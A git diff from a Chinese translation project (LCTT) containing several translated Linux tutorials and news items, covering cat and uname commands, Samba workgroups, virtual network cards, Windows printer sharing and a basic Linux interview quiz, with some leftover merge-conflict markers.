- Kernel
|
||||
- Command
|
||||
- Script
|
||||
- Terminal
|
||||
|
||||
> **答**: 内核是Linux 操作系统的核心。Shell是一个命令行解释器,命令是针对计算机的指令,脚本是存储在文件中的命令的集合,终端是命令行接口。
|
||||
|
||||
#### Q.2: Linus Torvalds 都创建过什么东东? ####
|
||||
- Fedora
|
||||
- Slackware
|
||||
- Debian
|
||||
- Gentoo
|
||||
- Linux
|
||||
|
||||
> **答**: Linux Torvalds 创建了Linux,Linux是所有上述操作系统的核心,同样也是其他一些Linux 操作系统的核心。
|
||||
|
||||
#### Q.3: Torvalds, 使用C++语言编写了Linux内核的大部分代码,你同意吗? ####
|
||||
|
||||
> **答**: 不! Linux内核包含了12,020,528行代码,其中注释占去了2,151,595 行。因此剩下的9,868,933 行就是纯代码了。而其中7,896,318行都是用C语言写的。
|
||||
|
||||
剩下的1,972,615行则是使用C++,汇编,Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed等。
|
||||
|
||||
**注**:代码行数每天都在变动,平均每天超过3,509行代码被添加到内核。
|
||||
|
||||
#### Q.4: 起初,Linux 是为 Intel X86 架构编写的,但是后来移植到了其它平台上,你同意吗 ?. ####
|
||||
|
||||
> **答**: 是的,我同意。Linux那时候是为x86机器写的,而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着,遥控器,太空科学,研究,网络,台式机。举之不尽。
|
||||
|
||||
### Q.5: 编辑 Linux Kernel 合法吗? ####
|
||||
|
||||
> **答**: 是的,内核基于GPL发布,任何人都可以随意编辑内核,当然得基于GPL。Linux内核起源于免费开源软件(FOSS)的概念。
|
||||
|
||||
#### Q.6: UNIX和Linux操作系统,本质上的不同在哪里?####
|
||||
|
||||
> **答**: Linux操作系统属于开源软件,内核是由 Linus Torvalds 和开源社区共同开发的。你不能说UNIX操作系统不是来源于免费开源软件的范畴,BSD 是基于FOSS 范畴的UNIX 的变种。而且大公司如,Apple,IBM,Oracle,HP等,都在为UNIX内核贡献代码。
|
||||
|
||||
#### Q. 7: 挑出来一个与众不同的来. ####
|
||||
- HP-UX
|
||||
- AIX
|
||||
- OSX
|
||||
- Slackware
|
||||
- Solaris
|
||||
|
||||
> **答** : Slackware 就是那个稀奇古怪的那个. HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的,并且都是UNIX的变种. Slackware 则是一个Linux操作系统.
|
||||
>
|
||||
#### Q.8: Linux 不会感染病毒码? ####
|
||||
|
||||
> **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以病毒数量的稀有而著称,至今,是的,甚至比UNIX还要少。Linux迄今榜上有名的病毒只有60-100个。而如今没有一个病毒在传播蔓延。Unix粗略估计有85-120个。
|
||||
|
||||
#### Q.9: Linux is which kind of Operating System? ####
|
||||
#### Q.9: Linux 属于哪种类型的操作系统? ####
|
||||
- 多用户
|
||||
- 多任务
|
||||
- 多线程
|
||||
- 以上所有
|
||||
- 以上都不是
|
||||
|
||||
> **答** : 以上所有. Linux是一个支持多用户,可以同时运行多个进程执行多个任务的操作系统。
|
||||
|
||||
#### Q.10: 任意 Linux 命令的语法格式: ####
|
||||
- command [选项] [参数]
|
||||
- command 选项 [参数]
|
||||
- command [选项] [参数]
|
||||
- command 选项 参数
|
||||
|
||||
> **答** : Linux 命令的正确语法是, 命令 [选项] [参数].
|
||||
|
||||
#### Q.11: Choose the odd one out. ####
|
||||
#### Q.11: 挑出来一个与众不同的来. ####
|
||||
|
||||
- Vi
|
||||
- vim
|
||||
- cd
|
||||
- nano
|
||||
|
||||
> **答** : cd 与其他命令不同。Vi,vim和 nano都是编辑器,用于编辑文档,而cd是用于切换目录的命令。
|
||||
|
||||
就这么多了。上述问题你学到手几个?效果如何?我们期待着你的评论。下周,会有新的问题,让我们拭目以待。保持健康,协调,记得链接**Tecmint**哦。
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers/
|
||||
|
||||
译者:[译者ID](https://github.com/l3b2w1) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,212 @@
|
||||
|
||||
13 Linux Cat命令管理(显示,排序,建立)文件实例
|
||||
================================================================================
|
||||

|
||||
|
||||
Linux系统中,许多配置文件,Logs文件,甚至shell脚本都使用文本文件格式,因此,Linux系统存在着多种文本编辑器,但当你仅仅想要查看一下它们里的内容时,可使用cat命令。
|
||||
|
||||
cat手册里这样描述:
|
||||
|
||||
> cat命令读取文件内容,并输出到标准设备上面
|
||||
|
||||
cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来请跟随我来一起使用它.
|
||||
|
||||
### 1. 显示文件内容 ###
|
||||
|
||||
最简单的方法是直接输入‘cat file_name’.
|
||||
|
||||
# cat /etc/issue
|
||||
|
||||
CentOS release 5.10 (Final)
|
||||
Kernel \r on an \m
|
||||
|
||||
### 2. 在行首显示行号 ###
|
||||
|
||||
当在读取内容很多的配置文件时,加上-n参数可实现在行首显示行号。
|
||||
|
||||
|
||||
# cat -n /etc/ntp.conf
|
||||
|
||||
1 # Permit time synchronization our time resource but do not
|
||||
2 # permit the source to query or modify the service on this system
|
||||
3 restrict default kod nomodify notrap nopeer noquery
|
||||
4 restrict -6 default kod nomodify notrap nopeer noquery
|
||||
5
|
||||
6 # Permit all access over the loopback interface. This could be
|
||||
7 # tightened as well, but to do so would effect some of the
|
||||
8 # administration functions
|
||||
9 restrict 127.0.0.1
|
||||
10 restrict -6 ::1
|
||||
|
||||
### 3. 在行首显示非空行号 ###
|
||||
|
||||
类似于-n参数,-b也在行首显示行号.但它显示的行号为非空行行号
|
||||
|
||||
#cat -b /etc/ntp.conf
|
||||
|
||||
1 # Permit time synchronization our time resource but do not
|
||||
2 # permit the source to query or modify the service on this system
|
||||
3 restrict default kod nomodify notrap nopeer noquery
|
||||
4 restrict -6 default kod nomodify notrap nopeer noquery
|
||||
|
||||
5 # Permit all access over the loopback interface. This could be
|
||||
6 # tightened as well, but to do so would effect some of the
|
||||
7 # administration functions
|
||||
8 restrict 127.0.0.1
|
||||
9 restrict -6 ::1
|
||||
|
||||
### 4. 显示tab制表符 ###
|
||||
|
||||
当你想要显示文本中的tab制表位时. 可使用-T参数. 它会在输入结果中标识为 **^I** .
|
||||
|
||||
# cat -T /etc/hosts
|
||||
|
||||
# Do not remove the following line, or various programs
|
||||
# that require network functionality will fail.
|
||||
127.0.0.1^I^Ilocalhost.localdomain localhost
|
||||
::1^I^Ilocalhost6.localdomain6 localhost6
|
||||
|
||||
### 5. 显示换行符 ###
|
||||
|
||||
-E参数在每行结尾标识 **$** .如下所示 :
|
||||
|
||||
# cat -E /etc/hosts
|
||||
|
||||
# Do not remove the following line, or various programs$
|
||||
# that require network functionality will fail.$
|
||||
127.0.0.1 localhost.localdomain localhost$
|
||||
::1 localhost6.localdomain6 localhost6$
|
||||
|
||||
### 6. 同时显示制表符及换行符 ###
|
||||
|
||||
当你想要同时达到-T及-E的效果, 可使用-A参数.
|
||||
|
||||
# cat -A /etc/hosts
|
||||
|
||||
# Do not remove the following line, or various programs$
|
||||
# that require network functionality will fail.$
|
||||
127.0.0.1^I^Ilocalhost.localdomain localhost$
|
||||
::1^I^Ilocalhost6.localdomain6 localhost6$
|
||||
|
||||
### 7. 每页满屏显示 ###
|
||||
|
||||
当文件内容超过一屏显示范围时,可结合cat命令与其它命令满屏显示.使用管道符 ( | ).
|
||||
|
||||
# cat /proc/meminfo | less
|
||||
|
||||
# cat /proc/meminfo | more
|
||||
|
||||
在less与more显示结果的区别在于less参数可pageup及pagedown上下翻滚.而more仅能使用空格向下翻屏.
|
||||
|
||||
### 8. 同时查看2个文件中的内容 ###
|
||||
|
||||
位于/root文件夹里有两人文件取名linux及desktop,每个文件含有以下内容 :
|
||||
**Linux** : ubuntu, centos, redhat, mint and slackware
|
||||
**Desktop** : gnome kde, xfce, enlightment, and cinnamon
|
||||
当你想同时查看两文件中的内容时,可按如下方法 :
|
||||
|
||||
# cat /root/linux /root/desktop
|
||||
|
||||
ubuntu
|
||||
centos
|
||||
redhat
|
||||
mint
|
||||
slackware
|
||||
gnome
|
||||
kde
|
||||
xfce
|
||||
enlightment
|
||||
cinnamon
|
||||
|
||||
### 9. 排序显示 ###
|
||||
|
||||
类似. 你也可结合 **sort**管道符对内容进行排序显示. 举例 :
|
||||
|
||||
# cat /root/linux | sort
|
||||
|
||||
centos
|
||||
mint
|
||||
redhat
|
||||
slackware
|
||||
Ubuntu
|
||||
|
||||
### 10. 输入重定向 ###
|
||||
|
||||
你也可将显示结果输出重定向到屏幕或另一个文件. 只需要使用 > 符号即可输出生成到另一个文件.
|
||||
|
||||
# cat /root/linux > /root/linuxdistro
|
||||
|
||||
以上命令会生成一个与/root/linux内容一模一样的叫linuxdistro的文件.
|
||||
|
||||
### 11. 新建文件 ###
|
||||
|
||||
Linux下有多种方法新建文件. 其中使用cat就是方法之一.
|
||||
|
||||
# cat > operating_system
|
||||
|
||||
Unix
|
||||
Linux
|
||||
Windows
|
||||
MacOS
|
||||
|
||||
当你打入cat > operating_system,它会生成一个operating_system的文件. 然后下面会显示空行. 此时你可输入内容.比如我们输入Unix, Linux, Windows and MacOS. 输入完成后, **按Ctrl-D**存盘退出cat. 此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating_system**的文件.
|
||||
|
||||
### 12.向文件中追加内容 ###
|
||||
|
||||
当你两次使用 >符时, 会将第一个文件中的内容追加到第二个文件的末尾. 举例 :
|
||||
|
||||
# cat /root/linux >> /root/desktop
|
||||
|
||||
# cat /root/desktop
|
||||
|
||||
它会将 /root/linux的内容追加到/root/desktop文件的末尾
|
||||
第二个文件的内容将会变成这样:
|
||||
|
||||
gnome
|
||||
kde
|
||||
xfce
|
||||
enlightment
|
||||
cinnamon
|
||||
ubuntu
|
||||
centos
|
||||
redhat
|
||||
mint
|
||||
slackware
|
||||
|
||||
### 13. 重定向输入 ###
|
||||
|
||||
你可使用 **<**命令将文件输入到cat中 .
|
||||
|
||||
# cat < /root/linux
|
||||
|
||||
上面命令表示 /root/linux中的内容作为cat的输入. 屏幕上显示如下 :
|
||||
|
||||
ubuntu
|
||||
centos
|
||||
redhat
|
||||
mint
|
||||
slackware
|
||||
|
||||
为了更清楚表示它的意义,我们使用以下命令 :
|
||||
|
||||
# cat < /root/linux | sort > linux-sort
|
||||
|
||||
此命令这样理解: **从/root/linux中读取内容,然后排序,将结果输出并生成linux-sort新文件**
|
||||
|
||||
然后我们看看linux-sort中的内容 :
|
||||
|
||||
centos
|
||||
mint
|
||||
redhat
|
||||
slackware
|
||||
ubuntu
|
||||
|
||||
以上是一些cat命令的日常基本应用. 更多相关你可从cat命令手册中学到并记得经常练习它们.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/13-cat-command-examples/
|
||||
|
||||
译者:[hongchuntang](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -1,119 +0,0 @@
|
||||
九个用Linux uname 命令获取操作系统详情的实例
|
||||
|
||||
================================================================================
|
||||
|
||||

|
||||
|
||||
当你在控制台模式下,无法通过‘右击 > About’给予你关于操作系统的信息.在Linux下,你可以用**uname**命令,帮助你完成. Uname是**unix name**的缩写.让我们先在控制台键入**uname**.
|
||||
|
||||
当你输入uname不带参数时,它仅仅只显示你的操作系统的名字.
|
||||
|
||||
# uname
|
||||
|
||||
Linux
|
||||
|
||||
也许它不能满足你的需要.所以你需要用一些参数使uname显示所需信息.
|
||||
|
||||
以下是uname参数的列表:
|
||||
|
||||
### 1. 内核名称 ###
|
||||
|
||||
你可以用**-s**参数,显示内核名称.
|
||||
|
||||
# uname -s
|
||||
|
||||
Linux
|
||||
|
||||
输出信息会跟uname不带参数时输出的一样.
|
||||
|
||||
### 2. 内核发行版 ###
|
||||
|
||||
如果你想知道你正在使用那个内核版本,就可以用**-r**参数
|
||||
|
||||
# uname -r
|
||||
|
||||
2.6.18-371.1.2.el5
|
||||
|
||||
### 3. 内核版本 ###
|
||||
|
||||
除一些内核信息外,用**-v**参数uname也能获取更详细的内核信息.
|
||||
|
||||
# uname -v
|
||||
|
||||
#1 SMP Tue Oct 22 12:57:43 EDT 2013
|
||||
|
||||
### 4. 节点名 ###
|
||||
|
||||
参数 -n 会提供给你节点的主机名.举例来说,如果你的主机名是“dev-machine”,**-n**参数会打印用-n参数的输出.
|
||||
|
||||
# uname -n
|
||||
|
||||
dev-machine
|
||||
|
||||
对于RedHat和CentOS用户来说,你也可以通过**/etc/redhat_release**文件:
|
||||
|
||||
# cat /etc/redhat_release
|
||||
|
||||
CentOS release 5.10 (Final)
|
||||
|
||||
如果不是基于RedHat的发行版,你可以用**/et/issue/**文件.类似如下:
|
||||
|
||||
# cat /etc/issue
|
||||
|
||||
Linux Mint Olivia \n \l:
|
||||
|
||||
### 5.硬件名称 ###
|
||||
|
||||
如果你在疑惑用的是那类机器,你可以尝试**-m**参数.它将告诉你关于硬件的信息.
|
||||
|
||||
# uname -m
|
||||
|
||||
i686
|
||||
|
||||
i686表明了你用的是32位的操作系统.如果是X86_64则表明你用的是64位的系统.
|
||||
|
||||
### 6. 硬件平台 ###
|
||||
|
||||
类似与硬件名称, -i参数会显示你的硬件平台.
|
||||
|
||||
# uname -i
|
||||
|
||||
i386
|
||||
|
||||
i386意味这是正在运行一个32位的系统.如果输出的是X86_64则说明你正在运行一个64位的系统.
|
||||
|
||||
### 7. 处理器类型 ###
|
||||
|
||||
你可以用**-p**参数查看处理器类型.如果uname无法识别,它会显示 ‘unknown’ 的输出.
|
||||
|
||||
# uname -p
|
||||
|
||||
i686
|
||||
|
||||
### 8. 操作系统 ###
|
||||
|
||||
Uname也可以透露你在运行的操作系统.用**-o**参数可以实现这个目的.
|
||||
|
||||
# uname -o
|
||||
|
||||
GNU/Linux
|
||||
|
||||
### 9. 所有信息 ###
|
||||
|
||||
有一个参数可以展示所有的信息!.这就是**-a**参数.它会显示所有信息,如果**-i和-p**输出为unknown则默认会被省略.
|
||||
|
||||
# uname -a
|
||||
|
||||
Linux dev-machine 2.6.18-371.1.2.el5 #1 SMP Tue Oct 22 12:57:43 EDT 2013 i686 i686 i386 GNU/Linux
|
||||
|
||||
以上就是关于uname命令的使用.请敬请期待更多的命令!
|
||||
|
||||
谢谢!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/uname-command/
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -1,41 +0,0 @@
|
||||
Canonical Dev称Linux Mint“脆弱”,不要将其用于办理在线银行业务
|
||||
================================================================================
|
||||
**一位Canonical公司[工程师建议][1]:基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于在线办理银行业务 。**
|
||||
|
||||
Mint禁止更新那些存在已知安全问题的安装包 - 从内核和浏览器到启动加载器和Xorg显示服务 - 的决定提供给用户一个“脆弱的系统” ,Oliver Grawert说。
|
||||
|
||||
> “不去适当整合Ubuntu中归档包的变化,反而拒绝这些软件包的(安全)更新。不允许安装提供的安全更新,强迫保留一个基于脆弱内核的浏览器或xorg,将使之成为一个易受攻击的系统,(原文如此)”。
|
||||
>
|
||||
> “就我个人而言,我不会用它在线办理银行业务。 ”
|
||||
|
||||
当然不只有Grawert认为Mint在安全意识上的低下。Mozilla贡献者兼前Ubuntu成员 **Benjamin Kerensa** 也有同样的看法:
|
||||
|
||||
> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说,Mint需要花好几个月才能得到一个Firefox的修正版,而Ubuntu和Debian已经同时在他们的包上打了安全补丁。
|
||||
>
|
||||
> 这是使得Linux Mint用户处于危险中的其中一个关键原因,我从来不建议任何人将Linux Mint作为一种替代Ubuntu的系统。”
|
||||
|
||||
Oliver Grawert是一位可靠的撰稿人。作为一位Canonical公司下的Ubuntu工程师,他比大多数人更了解自己在说什么。
|
||||
|
||||
**‘那么Mint的用户存在实际风险么?可以说对也可以说不对…’**
|
||||
|
||||
那么Mint的用户存在实际风险么?
|
||||
|
||||
半对半错。Mint开发商坚决拒绝更新的现有软件包中大部分的安全“漏洞”(一个更好的词)都是有记录和已知的,虽然这些漏洞很少被利用。因此对用户构成的“实际风险”仍然存在,至少现在,在理论上是很有可能的。
|
||||
|
||||
也就是说,没有发生已知的由于使用Mint发行版(或任何其他基于Ubuntu的未打补丁的发行版)并被通过利用Grawert引用的Ubuntu开发邮件列表上的漏洞造成身份盗窃乃至更糟的事故的情况。
|
||||
|
||||
但是,仅仅因为迄今为止没有人曾经钻进这扇半掩的窗户,并不能说明其他人永远不会这么做。
|
||||
|
||||
**看到Ubuntu持续被提及有关自身的(主要是理论上)隐私问题后,现在靴子被牢牢地套在另一只脚上,我们将可喜的看到对用户安全的强烈关注正在延伸至其他发行版上**
|
||||
|
||||
*请注意:我们已经向Linux Mint征求意见及澄清,但还没收到任何答复。*
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure
|
||||
|
||||
译者:[whatever1992](https://github.com/whatever1992) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html
|
@ -1,85 +0,0 @@
|
||||
<<<<<<< HEAD
|
||||
每日Ubuntu小技巧-更改Samba工作组和计算机名
|
||||
================================================================================
|
||||
这是另一个Ubuntu的新用户问的最多的问题。这个问题的答案很简单,但当你接触新事物时,你需要时间来完全理解它。
|
||||
|
||||
这是我们前几天收到的问题;
|
||||
|
||||
> 如何更改Samba的工作组名和Ubuntu的计算机名称?
|
||||
|
||||
对于大多数Ubuntu用户,改变他们的计算机名称是极少发生的事情,更别说samba工作组了。一些进阶使用者可能要学习如何用Ubuntu很简单的做到这一点。
|
||||
|
||||
当涉及到在Ubuntu中更改计算机名时,我们曾写过一个简单的帖子,可以点击这里[这里][1]找到。按照这个简易指南[changing your computer name in Ubuntu][1]来实现要求。
|
||||
|
||||
也许还有其他方法来改变你在Ubuntu中的计算机名,但是这是最简单和最快的。对于那些使用Ubuntu系统的服务器,你可以用vi或vim编辑的主机名和主机文件。那些不了解这些编辑器的人也许很难使用vi或vim。
|
||||
|
||||
在键盘上按**Ctrl – Alt – T**打开终端来更改Ubuntu中的Samba工作组。当终端打开时,运行以下命令来编辑的Samba的配置文件。
|
||||
|
||||
sudo gedit /etc/samba/smb.conf
|
||||
|
||||
打开这个文件后,请确保在[global]段中workgroup起始的那行的单词或值是你想要的工作组。例如,如果你希望工作组变成UBGP,将WORKGROUP替换成UBGP,并保存该文件。在大多数情况下,你必须重启动计算机以使之生效。
|
||||
|
||||

|
||||
|
||||
以上就是如何在Ubuntu中更改你的计算机名以及工作组的方法。记住,如果你这样做是为了共享或访问Windows文件和文件夹,还必须安装Samba。没有Samba,你将难以与Windows共享文件。
|
||||
|
||||
To install Samba, run the commands below.
|
||||
|
||||
运行下面的命令安装Samba。
|
||||
|
||||
sudo apt-get install samba
|
||||
|
||||
欢迎回来掌握更多的Ubuntu小技巧。
|
||||
|
||||
尽情享受吧!
|
||||
=======
|
||||
Ubuntu小贴士-改变Samba工作组和计算机名
|
||||
================================================================================
|
||||
这里还有另一个Ubuntu新手经常问的问题,答案很简单,但是对于新人来说完全理解需要花费一些时间。
|
||||
|
||||
这里有一些我们几天前收到的问题:
|
||||
|
||||
> 怎样在Ubuntu里改变Samba工作组和计算机名?
|
||||
|
||||
对于大多数的Ubuntu用户来说,给计算机改一个名字一定会在最低限度完成的列表上,更不用说Samba工作组了,一些少量的高级用户或者也会想轻松地在使用Ubuntu时做到这些。
|
||||
|
||||
如果是在Ubuntu里改变计算机名这个问题的话,我们之前已经写过一个简单的文章了,你真可以在[这里][1]找到。紧紧跟随[在Ubuntu里改变计算机名(changing your computer name in Ubuntu)][1]这篇向导性文章就可以达到你的目标。
|
||||
|
||||
或许还有别的方法可以在Ubuntu里改变你的计算机名但是这是最简单而快速的方法。对于那些使用Ubuntu服务器的,你可以使用Vi或者Vim编辑hostname和host等文件。使用Vi或者Vim对大多数人有点儿难,所以只有部分由使用这些编辑器的知识的人才会使用它。
|
||||
|
||||
要在Ubuntu里改变Samba工作组,按下键盘上的**Ctrl – Alt – T** 打开终端。但它(终端)打开后,运行下面的命令以编辑Samba的配置文件。
|
||||
|
||||
sudo gedit /etc/samba/smb.conf
|
||||
|
||||
这个文件打开之后,确定在[global]段的以workgroup开头的行有你想要起给工作组的名字。例如,如果你想要让工作组叫UBGP,将WORKGROUP替换成UBGP然后保存文件。在大多数情况下,你会必须重启计算机以应用这些改变。
|
||||
|
||||

|
||||
|
||||
这就是怎样在Unbuntu里改变你的计算机的名字和它的工作组。切记,如果你想做这些以分享或者访问Windows的文件或者文件夹,你必须安装Samba。离了Samba,和Windows共享文件会很难。
|
||||
|
||||
运行以下命令以安装Samba。
|
||||
|
||||
sudo apt-get install samba
|
||||
|
||||
请继续关注和访问更多关于Ubuntu的小贴士。
|
||||
|
||||
尽情享受吧!
|
||||
>>>>>>> c011190f089700f3e40aad9289d60f1a5b609f05
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/
|
||||
|
||||
<<<<<<< HEAD
|
||||
译者:[whatever1992](https://github.com/whatever1992) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.liberiangeek.net/2013/10/daily-ubuntu-tips-change-computer-name/
|
||||
=======
|
||||
译者:[crowner](https://github.com/crowner) 校对:[wxy](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.liberiangeek.net/2013/10/daily-ubuntu-tips-change-computer-name/
|
||||
>>>>>>> c011190f089700f3e40aad9289d60f1a5b609f05
|
@ -1,43 +0,0 @@
|
||||
Ubuntu每日小贴士 - 在Ubuntu下创建虚拟网卡
|
||||
|
||||
================================================================================
|
||||
|
||||
这个教程是为那些想用Ubuntu做点小实验的用户准备的.这并不适用于所有人,尤其是那些正在使用生产机器的用户.
|
||||
|
||||
如果你对网络运行和IP网络有所了解,你应该知道在大多数情况下,每个网卡只会分配一个IP地址.我们习惯认为这是一对一的事物.
|
||||
|
||||
一个网卡对应一个IP地址,你在一台机器用一个网卡和IP地址只能绑定或运行单一的网络服务/端口.例如,如果你想在80端口运行一个web服务器,只有一个web服务器将监听一个IP地址和端口#.这就是它如何工作的.
|
||||
|
||||
所以,网卡和IP地址并不是一对一的关系,你可以创建可以单独分配IP地址的虚拟网卡.因此,单一的物理网卡可以群集无限的子网卡或虚拟网卡.每一个都能分配它自己IP地址到对应的端口.
|
||||
|
||||
这个简短的教程将展示给你如何在Ubuntu做到这些.这是极好的方式在一台电脑上用一张物理网卡和单一的端口#运行和测试多个网络服务.
|
||||
|
||||
动手吧,运行下列命令打开网络接口文件.
|
||||
|
||||
sudo gedit /etc/network/interfaces
|
||||
|
||||
然后按照下图中的步骤吗,尽可能多的添加你想要的虚拟网卡.默认情况下,Linux会给第一张网卡分配eth0的名称.所以如果你的机子只有一张网卡,那么它会被命名为eth0
|
||||
|
||||
添加虚拟网卡,创建多个静态网卡并命名为eth0:1,eth0:2,eth0:3, etc.(eth0后面紧跟冒号和数字).
|
||||
|
||||

|
||||
|
||||
对于你创建的每一个网卡,也要确保网络都是不同的子网 ..
|
||||
|
||||
完成以后,保存文件并用下列命令重置网络服务.
|
||||
|
||||
sudo service networking restart
|
||||
|
||||
就是这样!
|
||||
|
||||

|
||||
|
||||
玩得开心!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-create-virtual-network-cards-in-ubuntu-linux/
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,49 @@
|
||||
每日Ubuntu小技巧-使用Windows共享打印机进行打印
|
||||
===
|
||||
对于那些既有Windows电脑又有Ubuntu电脑但却只有一台打印机的用户,这篇博文向你展示如何在Windows中共享一个打印机,并允许Ubuntu使用它来打印。
|
||||
|
||||
几乎所有的打印机都默认支持Windows系统。许多打印机生产商都为Windows生产打印机,但为Linux系统生产的并不多,包括Ubuntu。所以,假如你有一台支持Windows的打印机,你可以在Windows机器上分享它,然后让其它系统来使用它来打印。
|
||||
|
||||
在几年之前,我遇到了这个问题,那时大多数打印机生产商不支持Linux系统。我有一台老式的只支持Windows和Mac OS X但却不支持Linux的打印机。
|
||||
|
||||
我在我的Windows机器上安装了打印机驱动,然后它就可以很好的工作咯。我的Windows机器使用它来打印非常好,但是我的Ubuntu却无法使用它来打印,因为打印机并不支持LAN。
|
||||
|
||||
所以,我在Windows上共享该打印机,然后我的Ubuntu机器就可以使用合适的字体和风格进行打印咯。假如你也遇到类似的情景,你可以按照下面的指导来操作。
|
||||
|
||||
首先,登入Windows,右击你要共享的打印机,然后点击‘**Printer properties(打印机属性)**’
|
||||
|
||||

|
||||
|
||||
接着,选择“**Sharing(共享)**”标签页,勾选‘**Share this printer(共享这台打印机)**’复选框来共享。记住共享打印机的名字,因为你要使用这个共享名来连接这台打印机。
|
||||
|
||||

|
||||
|
||||
最后,以管理员权限运行命令行终端,运行以下命令以便于文件和打印机可以通过防火墙实现共享。
|
||||
|
||||
netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
|
||||
|
||||
接着,登入Ubuntu中,选择顶部面板右边的**齿轮**,然后选择**系统设置...**
|
||||
|
||||
系统设置打开后,选择打印机,然后点击**添加**。当跳出来一个窗口让你选择设备时,选择‘**Windows Printer via SAMBA(使用SAMBA的Windows打印机)**’。
|
||||
|
||||

|
||||
|
||||
键入Windows电脑的IP地址或者主机名,后面接着键入共享的打印机名。你可能需要键入你的windows验证信息(用户名和密码)。点击浏览来验证你是否可以看到打印机,当你完成这些后,就可以点击下一步继续。
|
||||
|
||||
接着,选择打印机品牌和型号。假如你在列表中看不到特定的型号,选择一个最接近它的然后继续。
|
||||
|
||||

|
||||
|
||||
以上这些都搞定了之后,你的打印机就已安装好,可以使用喽。
|
||||
|
||||

|
||||
|
||||
好好享受吧!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/
|
||||
|
||||
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,31 @@
|
||||
每日Ubuntu小技巧-让鼠标适合左利手用户
|
||||
================================================================================
|
||||
电脑的鼠标被设计成使用食指(大拇指旁边的那个手指)完成大部分操作。默认情况下鼠标为右利手用户配置。打开电脑时,多数情况下你会使用食指完成点击动作。
|
||||
|
||||
事实上,许多左利手用户习惯把鼠标放到键盘的左边,然后用中指进行单击操作。这并不是左利手用户使用鼠标最好的方法。
|
||||
|
||||
这个简短的教程为想要正确地使用左手操作鼠标的用户而编写。它将会帮助左利手用户将鼠标设置成用食指点击鼠标主键的操作模式。
|
||||
|
||||
这个教程同样适用于右利手用户。如果鼠标为左利手用户设置,那么右利手用户可以使用这个教程将鼠标键切换回来。
|
||||
|
||||
好了,现在咱们开始吧,点击顶部右端面板中的齿轮按钮选择**System Settings(系统设置)**...
|
||||
|
||||

|
||||
|
||||
然后在系统设置选项中选择**Mouse & Touchpad (鼠标和触摸板)**,打开后选择‘**Right(右)**’选项,这样就可以改变鼠标的主键以适应左利手用户。
|
||||
|
||||

|
||||
|
||||
改回左以适应右利手用户。改变将会在选择后立即生效。
|
||||
|
||||
就是这样了。现在左撇子用户可以将鼠标移到键盘左边,用左手的食指来正确地操作鼠标了。
|
||||
|
||||
使用愉快!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsmake-the-mouse-left-handed-for-left-hand-users/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,35 @@
|
||||
每日Ubuntu小技巧-使用OpenDNS的安全协议保护你的电脑
|
||||
===
|
||||
